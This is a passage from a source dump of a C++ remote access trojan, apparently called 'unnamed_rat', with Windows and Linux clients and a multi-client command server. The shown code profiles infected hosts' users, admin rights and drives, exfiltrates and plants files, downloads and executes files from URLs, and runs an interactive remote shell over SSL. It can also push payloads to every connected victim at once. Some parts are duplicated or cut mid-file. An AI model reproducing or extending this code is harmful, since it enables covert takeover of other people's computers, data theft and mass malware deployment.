cCode){ 540 | int cLen = strlen(cCode), itRet = 0; 541 | TryAgain0: 542 | itRet = SSL_write(sslSocket, cCode, cLen); 543 | if(itRet <= 0){ 544 | if(!CheckSslReturnCode(itRet)){ 545 | #ifdef _DEBUG 546 | std::cout<<"Unable to send command to server\n"; 547 | error(); 548 | return -1; 549 | #endif 550 | } else { 551 | usleep(100000); 552 | goto TryAgain0; 553 | } 554 | } 555 | return 0; 556 | } 557 | 558 | void Client::CloseConnection(){ 559 | if(sckSocket != -1){ 560 | close(sckSocket); 561 | sckSocket = -1; 562 | } 563 | if(sslCTX){ 564 | SSL_CTX_free(sslCTX); 565 | sslCTX = nullptr; 566 | } 567 | if(sslSocket){ 568 | SSL_free(sslSocket); 569 | sslSocket = nullptr; 570 | } 571 | } 572 | -------------------------------------------------------------------------------- /Client/Windows/Client.cpp: -------------------------------------------------------------------------------- 1 | #include "Client.hpp" 2 | #include "Commands.hpp" 3 | #include "Misc.hpp" 4 | #include "Info.hpp" 5 | 6 | bool Client::SendInfo(){ 7 | bool bFlag = true; 8 | std::string strInfo = ""; 9 | std::vector DriveList; 10 | std::vector UserList; 11 | char *ModelName = nullptr, *cArch = nullptr, *cOS = nullptr, *cUser = nullptr; 12 | Users(UserList); 13 | Drives(DriveList); 14 | Cpu(ModelName, cArch); 15 | OS(cOS); 16 | UserName(cUser); 17 | int iRam = Mem(), iI = 0; 18 | if(cUser != nullptr){ 19 | strInfo.append(cUser); 20 | } else { 21 | strInfo.append("siseneg"); 22 | } 23 | strInfo.append(1, '|'); 24 | 25 | for(iI = 0; iI < int(DriveList.size()); iI++){ 26 | strInfo.append(DriveList[iI].cLetter); 27 | strInfo.append(1, '/'); 28 | strInfo.append(DriveList[iI].cLabel); 29 | strInfo.append(1, '/'); 30 | strInfo.append(DriveList[iI].cType); 31 | strInfo.append(1, '/'); 32 | strInfo.append(std::to_string(DriveList[iI].dFree)); 33 | strInfo.append(1, '/'); 34 | strInfo.append(std::to_string(DriveList[iI].dTotal)); 35 | strInfo.append(1, '*'); 36 | } 37 | 38 | strInfo.append(1, '|'); 39 | 40 | for(iI = 0; iI < int(UserList.size()); iI++){ 41 | strInfo.append(UserList[iI].cUsername); 42 | if(UserList[iI].isAdmin == true){ 43 | strInfo.append("/1"); 44 | } else { 45 | strInfo.append("/0"); 46 | } 47 | strInfo.append(1, '*'); 48 | } 49 | 50 | strInfo.append(1, '|'); 51 | 52 | if(ModelName != nullptr){ 53 | strInfo.append(ModelName); 54 | } else { 55 | strInfo.append("Err"); 56 | } 57 | strInfo.append(1, '^'); 58 | if(cArch != nullptr){ 59 | strInfo.append(cArch); 60 | } else { 61 | strInfo.append("Err"); 62 | } 63 | strInfo.append(1, '|'); 64 | if(cOS != nullptr){ 65 | strInfo.append(cOS); 66 | } else { 67 | strInfo.append("Win"); 68 | } 69 | strInfo.append(1, '|'); 70 | strInfo.append(std::to_string(iRam)); 71 | strInfo.append("|AAA"); 72 | 73 | #ifdef _DEBUG 74 | std::cout<<"packet\n"< 0){ 177 | sleep(1); 178 | char *cFileBuffer = nullptr; 179 | int iTmp = 0; 180 | cFileBuffer = new char[iBlockSize]; 181 | while(1){ 182 | strmInputFile.read(cFileBuffer, iBlockSize); 183 | iTmp = strmInputFile.gcount(); 184 | if(iTmp > 0){ 185 | FileSendTryAgain: 186 | int iBytes = SSL_write(sslSocket, cFileBuffer, iTmp); 187 | if(iBytes> 0){ 188 | uBytesSent += iBytes; 189 | #ifdef _DEBUG 190 | Misc::ProgressBar(uBytesSent, uFileSize); 191 | std::fflush(stdout); 192 | #endif 193 | } else { 194 | if(!CheckSslReturnCode(iBytes)){ 195 | break; 196 | } 197 | Sleep(2000); 198 | goto FileSendTryAgain; 199 | } 200 | } else { 201 | break; 202 | } 203 | } 204 | #ifdef _DEBUG 205 | std::cout<<"\nTransfer done\n"; 206 | #endif 207 | Misc::Free(cFileBuffer, iBlockSize); 208 | } else { 209 | if(!CheckSslReturnCode(iRet)){ 210 | #ifdef _DEBUG 211 | std::cout<<"Unable to send command to server\n"; 212 | error(); 213 | #endif 214 | strmInputFile.close(); 215 | return false; 216 | } else { 217 | Sleep(100); 218 | goto TryAgain2; 219 | } 220 | } 221 | strmInputFile.close(); 222 | return true; 223 | } 224 | 225 | void Client::RetrieveFile(u64 uFileSize, const std::string strLocalFileName){ 226 | char *cDummyFile = new char[1024]; 227 | #ifdef _DEBUG 228 | std::cout<<"Saving file "< 0){ 261 | strmOutputFile.write(cFileBuffer, iBytesRead); 262 | uTotalBytes += iBytesRead; 263 | #ifdef _DEBUG 264 | Misc::ProgressBar(uTotalBytes, uFileSize); 265 | std::fflush(stdout); 266 | #endif 267 | } else { 268 | if(!CheckSslReturnCode(iBytesRead)){ 269 | #ifdef _DEBUG 270 | std::cout<<"Unable to read packet from server\n"; 271 | error(); 272 | #endif 273 | break; 274 | } 275 | Sleep(100); 276 | } 277 | } 278 | #ifdef _DEBUG 279 | std::cout<<"\nTransfer done "< vcCommands; 292 | Misc::strSplit(strCommand, '@', vcCommands, 10); 293 | if(vcCommands.size() > 0){ 294 | if(vcCommands[0] == CommandCodes::cUpload){ 295 | RetrieveFile(Misc::StrToUint(vcCommands[1].c_str()), vcCommands[3]); 296 | goto release; 297 | } 298 | if(vcCommands[0] == "s"){ 299 | if(vcCommands[1] == "0"){ 300 | #ifdef _DEBUG 301 | std::cout<<"Bye\n"; 302 | #endif 303 | return false; //return false to close connection 304 | } 305 | goto release; 306 | } 307 | if(vcCommands[0] == CommandCodes::cDownload){ 308 | if(SendFile(vcCommands[1])){ 309 | #ifdef _DEBUG 310 | std::cout<<"Send success\n"; 311 | #endif 312 | } 313 | goto release; 314 | } 315 | if(vcCommands[0] == CommandCodes::cHttpd){ 316 | if(Download(vcCommands[1].c_str(), strLocalFileName)){ 317 | #ifdef _DEBUG 318 | std::cout<<"\nDownload success\n"; 319 | #endif 320 | if(vcCommands[2] == "1"){ 321 | #ifdef _DEBUG 322 | std::cout<<"Executing file "< 0){ 502 | ReadFile(hPipe, cBuffer, 512, &dBytesReaded, nullptr); 503 | } else { 504 | Sleep(100); 505 | continue; 506 | } 507 | for(dBufferC = 0, dBytesToWrite = 0; dBufferC < dBytesReaded; dBufferC++){ 508 | if(cBuffer[dBufferC] == '\n' && bPChar != '\r'){ 509 | cBuffer2[dBytesToWrite++] = '\r'; 510 | } 511 | bPChar = cBuffer2[dBytesToWrite++] = cBuffer[dBufferC]; 512 | } 513 | cBuffer2[dBytesToWrite] = '\0'; 514 | iLen = strlen(cBuffer2); 515 | TryAgain: 516 | iRet = SSL_write(sslSocket, cBuffer2, iLen); 517 | if(iRet <= 0){ 518 | if(!CheckSslReturnCode(iRet)){ 519 | mtxMutex.lock(); 520 | isRunningShell = false; 521 | mtxMutex.unlock(); 522 | break; 523 | } 524 | Sleep(2000); 525 | goto TryAgain; 526 | } 527 | } else { 528 | #ifdef _DEBUG 529 | std::cout<<"PeekNamedPipe error\n"; 530 | error(); 531 | #endif 532 | mtxMutex.lock(); 533 | isRunningShell = false; 534 | mtxMutex.unlock(); 535 | break; 536 | } 537 | } 538 | #ifdef _DEBUG 539 | std::cout<<"Stop reading from shell\n"; 540 | error(); 541 | #endif 542 | } 543 | 544 | void Client::threadWriteShell(HANDLE hPipe){ 545 | int iRet = 0; 546 | char cRecvBytes[1], cBuffer[2048]; 547 | DWORD dBytesWrited = 0, dBufferC = 0; 548 | while(isRunningShell){ 549 | iRet = SSL_read(sslSocket, cRecvBytes, 1); 550 | if(iRet <= 0){ 551 | if(!CheckSslReturnCode(iRet)){ 552 | mtxMutex.lock(); 553 | isRunningShell = false; 554 | mtxMutex.unlock(); 555 | break; 556 | } 557 | Sleep(2000); 558 | continue; 559 | } 560 | cBuffer[dBufferC++] = cRecvBytes[0]; 561 | if(cRecvBytes[0] == '\r'){ 562 | cBuffer[dBufferC++] = '\n'; 563 | } 564 | if(strncmp(cBuffer, "exit", 4) == 0){ 565 | mtxMutex.lock(); 566 | isRunningShell = false; 567 | mtxMutex.unlock(); 568 | break; 569 | } 570 | if(cRecvBytes[0] == '\n' || cRecvBytes[0] == '\r' || dBufferC > 2047){ 571 | if(!WriteFile(hPipe, cBuffer, dBufferC, &dBytesWrited, nullptr)){ 572 | #ifdef _DEBUG 573 | std::cout<<"Error writing to pipe\n"; 574 | error(); 575 | #endif 576 | mtxMutex.lock(); 577 | isRunningShell = false; 578 | mtxMutex.unlock(); 579 | break; 580 | } 581 | #ifdef _DEBUG 582 | std::cout<<"Writed "<& vHeaders, std::vector& vLines, const char cSplitChar){ 6 | char cTmp[4]; 7 | cTmp[0] = cSplitChar; 8 | cTmp[1] = '-'; 9 | cTmp[2] = '-'; 10 | cTmp[3] = '\0'; 11 | int iMaxSize = 0, iHead = vHeaders.size(), iLine = vLines.size(), iIt = 0, iIt2 = 0, iTmp = 0, iTmp2 = 0; 12 | std::vector vcTmp; 13 | for(; iIt iMaxSize ? iTmp : iMaxSize; 16 | iMaxSize = iHead > iMaxSize ? iHead : iMaxSize; 17 | } 18 | for(iIt=iHead; iIt iFields[iIt2] ? iFieldsSize[iIt][iIt2] : iFields[iIt2]; 46 | } 47 | } 48 | std::string strPadding = "", strSolidBorder = " *", strCutBorder = " ."; 49 | for(iIt=0; iIt iTmp ? (iFields[iIt] - iTmp) : (iTmp -iFields[iIt]); 64 | strPadding.append(iTmp2, ' '); 65 | std::cout< iTmp ? (iFields[iIt2] - iTmp) : (iTmp < iFields[iIt2]); 80 | strPadding.append(iTmp2, ' '); 81 | std::cout<& vcOut, int iMax){ 126 | if(vcOut.size() > 0){ 127 | vcOut.erase(vcOut.begin(), vcOut.end()); 128 | } 129 | int istrLen = strString.length(), iIt = 0, iCounter = 0, iTmp = 0; 130 | for(; iItpubseekoff(0, strmInputFile.end, strmInputFile.in); 158 | pBuf->pubseekpos(0, strmInputFile.in); 159 | strmInputFile.close(); 160 | return uTmp; 161 | } 162 | 163 | void strToLower(std::string& strStr){ 164 | for(u_int iIt=0; iIt= 65 && strStr[iIt] <= 90) ? (strStr[iIt] + 32) : strStr[iIt]; 166 | } 167 | } 168 | 169 | void ProgressBar(u64 value, u64 total){ 170 | int h = 0, hh = 0; 171 | char pb[101]; 172 | memset(pb, 0, 101); 173 | int value2 = ((float)value / (float)total) *100; 174 | for(h=0; h<50; h++){ 175 | for(hh=h; hh<(value2 / 2); hh++, h++){ 176 | pb[hh] = '#'; 177 | } 178 | pb[h] = '_'; 179 | } 180 | pb[50] = '\0'; 181 | std::cout<<'\r'<& vHeaders, std::vector& vLines, const char cSplitChar){ 6 | char cTmp[4]; 7 | cTmp[0] = cSplitChar; 8 | cTmp[1] = '-'; 9 | cTmp[2] = '-'; 10 | cTmp[3] = '\0'; 11 | int iMaxSize = 0, iHead = vHeaders.size(), iLine = vLines.size(), iIt = 0, iIt2 = 0, iTmp = 0, iTmp2 = 0; 12 | std::vector vcTmp; 13 | for(; iIt iMaxSize ? iTmp : iMaxSize; 16 | iMaxSize = iHead > iMaxSize ? iHead : iMaxSize; 17 | } 18 | for(iIt=iHead; iIt iFields[iIt2] ? iFieldsSize[iIt][iIt2] : iFields[iIt2]; 46 | } 47 | } 48 | std::string strPadding = "", strSolidBorder = " *", strCutBorder = " ."; 49 | for(iIt=0; iIt iTmp ? (iFields[iIt] - iTmp) : (iTmp -iFields[iIt]); 64 | strPadding.append(iTmp2, ' '); 65 | std::cout< iTmp ? (iFields[iIt2] - iTmp) : (iTmp < iFields[iIt2]); 80 | strPadding.append(iTmp2, ' '); 81 | std::cout<& vcOut, int iMax){ 126 | if(vcOut.size() > 0){ 127 | vcOut.erase(vcOut.begin(), vcOut.end()); 128 | } 129 | int istrLen = strString.length(), iIt = 0, iCounter = 0, iTmp = 0; 130 | for(; iItpubseekoff(0, strmInputFile.end, strmInputFile.in); 158 | pBuf->pubseekpos(0, strmInputFile.in); 159 | strmInputFile.close(); 160 | return uTmp; 161 | } 162 | 163 | void strToLower(std::string& strStr){ 164 | for(u_int iIt=0; iIt= 65 && strStr[iIt] <= 90) ? (strStr[iIt] + 32) : strStr[iIt]; 166 | } 167 | } 168 | 169 | void ProgressBar(u64 value, u64 total){ 170 | u_int h = 0, hh = 0; 171 | char pb[101]; 172 | memset(pb, 0, 101); 173 | u_int value2 = ((float)value / (float)total) *100; 174 | #ifdef _TERMUX 175 | for(h=0; h<25; h++){ 176 | #else 177 | for(h=0; h<50; h++){ 178 | #endif 179 | for(hh=h; hh<(value2 / 2); hh++, h++){ 180 | pb[hh] = '#'; 181 | } 182 | pb[h] = '_'; 183 | } 184 | #ifdef _TERMUX 185 | pb[25] = '\0'; 186 | #else 187 | pb[50] = '\0'; 188 | #endif 189 | std::cout<<'\r'< vHeaders; 11 | std::vector vUsers; 12 | vHeaders.push_back("ID"); 13 | vHeaders.push_back("IP"); 14 | vHeaders.push_back("OS"); 15 | std::string strTmp = ""; 16 | for(int iIt = 0; iItiID)); 20 | strTmp.append(1, ','); 21 | strTmp.append(Clients[iIt]->strIP); 22 | strTmp.append(1, ','); 23 | strTmp.append(Clients[iIt]->strOS); 24 | vUsers.push_back(strTmp); 25 | } 26 | } 27 | Misc::PrintTable(vHeaders, vUsers, ','); 28 | } 29 | 30 | void Server::NullClients(){ 31 | for(int iIt = 0; iItsslSocket){ 47 | SSL_shutdown(Clients[iClientID]->sslSocket); 48 | Clients[iClientID]->sslSocket = nullptr; 49 | } 50 | if(Clients[iClientID]->sckClient){ 51 | BIO_closesocket(Clients[iClientID]->sckClient); 52 | Clients[iClientID]->sckClient = -1; 53 | } 54 | Clients[iClientID]->strIP.erase(Clients[iClientID]->strIP.begin(), Clients[iClientID]->strIP.end()); 55 | delete Clients[iClientID]; 56 | Clients[iClientID] = nullptr; 57 | } 58 | } 59 | 60 | void Server::FreeAllClients(){ 61 | int iCounter = 0; 62 | for(; iCountersslSocket, strCmdLine.c_str(), iLen) > 0){ 94 | Sleep(1000); 95 | char tmpBuffer[4]; 96 | if(SSL_read(Clients[iClientID]->sslSocket, tmpBuffer, 3) > 2){ 97 | if(tmpBuffer[0] == 'f' && tmpBuffer[1] == '@' && tmpBuffer[2] == '1'){ 98 | std::cout< 0){ 115 | iBytes = SSL_write(Clients[iClientID]->sslSocket, cFileBuffer, iTmp); 116 | if(iBytes > 0){ 117 | uBytesSent += iBytes; 118 | Misc::ProgressBar(uBytesSent, uFileSize); 119 | std::fflush(stdout); 120 | } else { 121 | std::cout<strOS == "Windows" ? "\\" : "/"); 147 | while(tkToken != nullptr){ 148 | cLocalName = tkToken; 149 | tkToken = strtok(nullptr, Clients[iClientID]->strOS == "Windows" ? "\\" : "/"); 150 | } 151 | std::time_t tTime = std::time(nullptr); 152 | cLocalName.append(1, ' '); 153 | cLocalName.append(Clients[iClientID]->strIP); 154 | cLocalName.append(1, ' '); 155 | cLocalName.append(std::asctime(std::localtime(&tTime))); 156 | cLocalName[cLocalName.length()-1] = '\0'; 157 | std::cout<sslSocket, strCmdLine.c_str(), iLen) > 0){ 163 | char cFileSizeBuffer[20]; 164 | u64 uTotalBytes = 0, uFinalSize = 0; 165 | int iBytesRead = 0, iBufferSize = 255; 166 | char *cFileBuffer = new char[iBufferSize]; 167 | if(SSL_read(Clients[iClientID]->sslSocket, cFileSizeBuffer, 19) > 0){ 168 | if(strncmp(cFileSizeBuffer, CommandCodes::cFileTransferCancel, strlen(CommandCodes::cFileTransferCancel)) == 0){ 169 | std::cout<sslSocket, cFileBuffer, iBufferSize); 184 | if(iBytesRead > 0){ 185 | strmOutputFile.write(cFileBuffer, iBytesRead); 186 | uTotalBytes += iBytesRead; 187 | Misc::ProgressBar(uTotalBytes, uFinalSize); 188 | std::fflush(stdout); 189 | } else { 190 | break; 191 | } 192 | } 193 | strmOutputFile.close(); 194 | std::cout<strOS == "Linux" ? 1 : 0); 214 | return; 215 | } 216 | std::vector vcClientCommands; 217 | Misc::strSplit(strCommand, ' ', vcClientCommands, 10); 218 | if(vcClientCommands[0][0] == '!'){ 219 | std::string strTmp = vcClientCommands[0].substr(1, vcClientCommands[0].size() -1); 220 | for(u_int iIt2 = 1; iIt2 0){ 228 | if(vcClientCommands[0] == "shell"){ 229 | if(vcClientCommands.size() == 3){ 230 | if(vcClientCommands[1] == "-c"){ 231 | mtxLock(); 232 | Clients[iClientID]->isFlag = true; 233 | mtxUnlock(); 234 | std::string strCommandLine = CommandCodes::cShell; 235 | strCommandLine.append(vcClientCommands[2]); 236 | int iLen = strCommandLine.length(); 237 | if(SSL_write(Clients[iClientID]->sslSocket, strCommandLine.c_str(), iLen) > 0){ 238 | //receive confirmation that program is spawned 239 | char cConfirm[7]; 240 | if(SSL_read(Clients[iClientID]->sslSocket, cConfirm, 6) > 0){ 241 | if(cConfirm[0] == 'x' && cConfirm[1] == '@' && cConfirm[2] == '1'){ 242 | //spawn thread to receive output from shell 243 | isReadingShell = true; 244 | std::thread thCmd(&Server::threadRemoteCmdOutput, this, iClientID); 245 | char cCmdLine[512]; 246 | int iStrLen = 0; 247 | while(isReadingShell){ 248 | memset(cCmdLine, 0, 512); 249 | fgets(cCmdLine, 512, stdin); 250 | if(Clients[iClientID] == nullptr){ 251 | break; 252 | } 253 | iStrLen = strlen(cCmdLine); 254 | if(SSL_write(Clients[iClientID]->sslSocket, cCmdLine, iStrLen) <= 0){ 255 | std::cout<isFlag = false; 279 | mtxUnlock(); 280 | } 281 | } else { 282 | std::cout<isFlag = true; 289 | mtxUnlock(); 290 | if(vcClientCommands.size() == 2){ 291 | if(vcClientCommands[1] == "-b"){ 292 | //basic information 293 | char *cBufferInfo = new char[1024]; 294 | int iBytes = 0; 295 | if(SSL_write(Clients[iClientID]->sslSocket, CommandCodes::cReqBasicInfo, 3) > 0){ 296 | if((iBytes = SSL_read(Clients[iClientID]->sslSocket, cBufferInfo, 1023)) > 0){ 297 | cBufferInfo[iBytes] = '\0'; 298 | ParseBasicInfo(cBufferInfo, Clients[iClientID]->strOS == "Windows" ? 0 : 1); 299 | } else { 300 | std::cout<isFlag = false; 315 | mtxUnlock(); 316 | return; 317 | } 318 | if(vcClientCommands[0] == Misc::Msg(22)){ 319 | if(vcClientCommands.size() == 3){ 320 | if(vcClientCommands[1] == "-r"){ 321 | mtxLock(); 322 | Clients[iClientID]->isFlag = true; 323 | mtxUnlock(); 324 | DownloadFile(vcClientCommands[2], iClientID); //check return boolean 325 | mtxLock(); 326 | Clients[iClientID]->isFlag = false; 327 | mtxUnlock(); 328 | } 329 | } else { 330 | std::cout<isFlag = true; 338 | mtxUnlock(); 339 | std::string strRemoteFile = ""; 340 | std::string strLocalFile = ""; 341 | for(u_int iIt2 = 1; iIt2<5; iIt2+=2){ 342 | if(vcClientCommands[iIt2] == "-l"){ 343 | strLocalFile = vcClientCommands[iIt2+1]; 344 | continue; 345 | } 346 | if(vcClientCommands[iIt2] == "-r"){ 347 | strRemoteFile = vcClientCommands[iIt2+1]; 348 | } 349 | } 350 | if(strRemoteFile != "" && strLocalFile != ""){ 351 | SendFile(strRemoteFile, strLocalFile, iClientID, '0'); //check return boolean 352 | } else { 353 | std::cout<isFlag = false; 357 | mtxUnlock(); 358 | } else { 359 | std::cout<isFlag = true; 367 | mtxUnlock(); 368 | std::string strCommandLine = CommandCodes::cHttpd; 369 | std::string strUrl = ""; 370 | u_char cExec; 371 | int iLen = 0; 372 | for(u_int iIt2 = 1; iIt2<5; iIt2+=2){ 373 | if(vcClientCommands[iIt2] == "-u"){ 374 | strUrl = vcClientCommands[iIt2+1]; 375 | continue; 376 | } 377 | if(vcClientCommands[iIt2] == "-r"){ 378 | cExec = vcClientCommands[iIt2+1] == "yes" ? '1' : '0'; 379 | } 380 | } 381 | strCommandLine.append(strUrl); 382 | strCommandLine.append(1, '@'); 383 | strCommandLine.append(1, cExec); 384 | strCommandLine.append(1, '@'); 385 | strCommandLine.append(3, 'A'); 386 | iLen = strCommandLine.length(); 387 | if(SSL_write(Clients[iClientID]->sslSocket, strCommandLine.c_str(), iLen) > 0){ 388 | std::cout<isFlag = false; 395 | mtxUnlock(); 396 | } else { 397 | std::cout< vcMassiveCommands; 409 | Misc::strSplit(strCommand, ' ', vcMassiveCommands, 10); 410 | if(vcMassiveCommands[0][0] == '!'){ 411 | std::string strTmp = vcMassiveCommands[0].substr(1, vcMassiveCommands[0].size() -1); 412 | for(u_int iIt2 = 1; iIt2 0){ 420 | if(vcMassiveCommands[0] == Misc::Msg(24)){ 421 | if(vcMassiveCommands.size() == 7){ 422 | std::string strLocalFile = ""; 423 | std::string strOS = ""; 424 | u_char cExec = '0'; //default if by any reason loop f***k it 425 | for(u_int iIt=1; iIt<7; iIt+=2){ 426 | if(vcMassiveCommands[iIt] == "-l"){ 427 | strLocalFile = vcMassiveCommands[iIt+1]; 428 | continue; 429 | } 430 | if(vcMassiveCommands[iIt] == "-r"){ 431 | cExec = vcMassiveCommands[iIt+1] == Misc::Msg(76) ? '1' : '0'; 432 | continue; 433 | } 434 | if(vcMassiveCommands[iIt] == "-o"){ 435 | std::string strTmp = vcMassiveCommands[iIt+1]; 436 | Misc::strToLower(strTmp); 437 | if(strTmp == "windows"){ 438 | strOS = "Windows"; 439 | } else if(strTmp == "linux"){ 440 | strOS = "Linux"; 441 | } else if(strTmp == "*") { 442 | strOS = "all"; 443 | } 444 | } 445 | } 446 | if(strLocalFile.length() > 0 && strOS != ""){ 447 | if(iClientsOnline > 0){ 448 | std::cout<strOS == strOS || strOS == "all"){ 460 | mtxLock(); 461 | Clients[iIt2]->isFlag = true; 462 | mtxUnlock(); 463 | if(SendFile(strRemoteFile, strLocalFile, iIt2, cExec)){ 464 | std::cout<isFlag = false; 470 | mtxUnlock(); 471 | } 472 | } 473 | } 474 | } else { 475 | std::cout< 0 && strOS != ""){ 513 | if(iClientsOnline > 0){ 514 | std::cout<strOS == strOS || strOS == "all"){ 525 | mtxLock(); 526 | Clients[iIt2]->isFlag = true; 527 | mtxUnlock(); 528 | if(SSL_write(Clients[iIt2]->sslSocket, strCmdLine.c_str(), iLen) > 0){ 529 | std::cout<isFlag = false; 535 | mtxUnlock(); 536 | } 537 | } 538 | } 539 | } else { 540 | std::cout< vcWinInfo; 557 | Misc::strSplit(cBuffer, '|', vcWinInfo, 7); 558 | if(vcWinInfo.size() >= 7){ 559 | std::cout< vcCpuHead, vcCpu, vcDrivesHead, vcDrives, vcTmp, vcUsers, vcUsersHead; 563 | vcCpuHead.push_back(Misc::Msg(40)); 564 | vcCpuHead.push_back(Misc::Msg(41)); 565 | vcUsersHead.push_back(Misc::Msg(42)); 566 | vcUsersHead.push_back(Misc::Msg(43)); 567 | vcDrivesHead.push_back("-"); 568 | vcDrivesHead.push_back(Misc::Msg(44)); 569 | vcDrivesHead.push_back(Misc::Msg(45)); 570 | vcDrivesHead.push_back(Misc::Msg(46)); 571 | vcDrivesHead.push_back(Misc::Msg(47)); 572 | vcCpu.push_back(vcWinInfo[3]); 573 | Misc::PrintTable(vcCpuHead, vcCpu, '^'); 574 | std::string strTmpUsers = ""; 575 | Misc::strSplit(vcWinInfo[2], '*', vcTmp, 100); 576 | for(int iIt = 0; iIt vcTmp2; 578 | Misc::strSplit(vcTmp[iIt], '/', vcTmp2, 3); 579 | if(vcTmp2.size() >= 2){ 580 | strTmpUsers.erase(strTmpUsers.begin(), strTmpUsers.end()); 581 | strTmpUsers.append(vcTmp2[0]); 582 | strTmpUsers.append(1, '/'); 583 | strTmpUsers.append((vcTmp2[1] == "1") ? Misc::Msg(77) : Misc::Msg(78)); 584 | vcUsers.push_back(strTmpUsers); 585 | } 586 | } 587 | std::cout< vcNixInfo; 597 | Misc::strSplit(cBuffer, '|', vcNixInfo, 10); 598 | if(vcNixInfo.size() >= 8){ 599 | std::cout< vHeaders, vcUsers, vfUsers, vShells; 605 | vHeaders.push_back(Misc::Msg(42)); 606 | vHeaders.push_back("Shell"); 607 | Misc::strSplit(vcNixInfo[2].c_str(), '*', vcUsers, 100); 608 | Misc::PrintTable(vHeaders, vcUsers, ':'); 609 | std::cout< vcPartitions; 613 | Misc::strSplit(vcNixInfo[1].c_str(), '*', vcPartitions, 100); 614 | Misc::PrintTable(vHeaders, vcPartitions, ':'); 615 | } else { 616 | std::cout<<"Error\n"<= Max_Clients){ 723 | uiReachMax = true; 724 | uiOldValue = iClientCount; 725 | bool isAvailable = false; 726 | int uiIt = 0; 727 | for(; uiItsslSocket = SSL_new(sslCTX); 751 | Clients[iClientCount]->sckClient = tmpSck; 752 | if(SSL_set_fd(Clients[iClientCount]->sslSocket, Clients[iClientCount]->sckClient) <= 0){ 753 | std::cout<<"ssl set fd error\n"; 754 | error(); 755 | if(cRemoteAddress != nullptr){ 756 | delete[] cRemoteAddress; 757 | cRemoteAddress = nullptr; 758 | } 759 | continue; 760 | } 761 | if(SSL_accept(Clients[iClientCount]->sslSocket) <= 0){ 762 | std::cout<<"accept/handshake error\n"; 763 | error() 764 | FreeClient(iClientCount); 765 | if(cRemoteAddress != nullptr){ 766 | delete[] cRemoteAddress; 767 | cRemoteAddress = nullptr; 768 | } 769 | continue; 770 | } 771 | std::string strTMPip = ""; 772 | if(cRemoteAddress != nullptr){ 773 | strTMPip = cRemoteAddress; 774 | delete[] cRemoteAddress; 775 | cRemoteAddress = nullptr; 776 | } else { 777 | std::cout<<"IP Error\n"; 778 | error(); 779 | strTMPip = "dummyIP:8888"; 780 | } 781 | std::cout<sslSocket, cTmpBuffer, 19); 785 | if(iBytes > 0){ 786 | cTmpBuffer[iBytes] = '\0'; 787 | Clients[iClientCount]->strOS = cTmpBuffer[0] == '0' && cTmpBuffer[1] == '1' ? "Linux" : "Windows"; 788 | } else { 789 | Clients[iClientCount]->strOS = Misc::Msg(65); 790 | } 791 | Clients[iClientCount]->strIP = strTMPip; 792 | 793 | mtxLock(); 794 | Clients[iClientCount]->iID = iClientCount; 795 | Clients[iClientCount]->isConnected = true; 796 | Clients[iClientCount]->isFlag = false; 797 | iClientsOnline++; 798 | mtxUnlock(); 799 | 800 | if(uiReachMax){ 801 | iClientCount = uiOldValue; 802 | } else { 803 | iClientCount++; 804 | } 805 | } else { 806 | if(cRemoteAddress != nullptr){ 807 | delete[] cRemoteAddress; 808 | cRemoteAddress = nullptr; 809 | } 810 | } 811 | 812 | } 813 | } 814 | 815 | //here parse all commands from stdin 816 | void Server::threadMasterCMD(){ 817 | std::string strPrompt = BrightBlack "unnamed_rat" CReset Red "# " CReset; 818 | std::string strCMD = ""; 819 | while(!bSignalFlag){ 820 | strCMD.erase(strCMD.begin(), strCMD.end()); 821 | std::cout< vcCommands; 832 | Misc::strSplit(strCMD, ' ', vcCommands, 10); 833 | 834 | //run shell command 835 | if(vcCommands[0][0] == '!'){ 836 | std::string strShellCommand = vcCommands[0].substr(1, vcCommands[0].length()-1); 837 | for(u_int iIt2 = 1; iIt2= Max_Clients){ 859 | iClientId = Max_Clients -1; //in number is than array prevent overflow 860 | } 861 | continue; 862 | } 863 | if(vcCommands[iIt2] == "-a"){ 864 | strAction = vcCommands[iIt2+1]; 865 | } 866 | } 867 | if(Clients[iClientId] != nullptr){ 868 | if(strAction == Misc::Msg(66)){ 869 | //spawn prompt to interact with specified client 870 | std::string strClientCmd = ""; 871 | std::string strPrompt = "[" + std::to_string(Clients[iClientId]->iID) + "]" + Clients[iClientId]->strIP + "@" + Clients[iClientId]->strOS + "#"; 872 | do{ 873 | std::cout<isConnected){ 886 | if(SSL_write(Clients[iClientId]->sslSocket, CommandCodes::cClose, 5) <= 0){ 887 | std::cout<isFlag){ 937 | Sleep(2000); 938 | continue; 939 | } else { 940 | int iBytes = SSL_write(Clients[iClientID]->sslSocket, "", 1); 941 | if(iBytes != 1){ 942 | std::cout<<"\n"<iID<<"] "<strIP<isConnected = false; 945 | iClientsOnline--; 946 | FreeClient(iClientID); 947 | mtxUnlock(); 948 | } 949 | } 950 | } 951 | Sleep(100); //prevent 100% cpu usage 100 miliseconds 952 | } 953 | Sleep(3000); 954 | } 955 | } 956 | 957 | void Server::threadRemoteCmdOutput(int iClientID){ 958 | char cCmdBuffer[1024]; 959 | int iBytes = 0; 960 | while(isReadingShell){ 961 | if(Clients[iClientID] != nullptr){ 962 | memset(cCmdBuffer, 0, 1024); 963 | iBytes = SSL_read(Clients[iClientID]->sslSocket, cCmdBuffer, 1023); 964 | if(iBytes > 0){ 965 | cCmdBuffer[iBytes] = '\0'; 966 | if(strncmp(cCmdBuffer, CommandCodes::cShellEnd, strlen(CommandCodes::cShellEnd)) == 0){ 967 | std::cout< vHeaders, vFields; 1020 | if(strHelp == "main"){ 1021 | std::cout<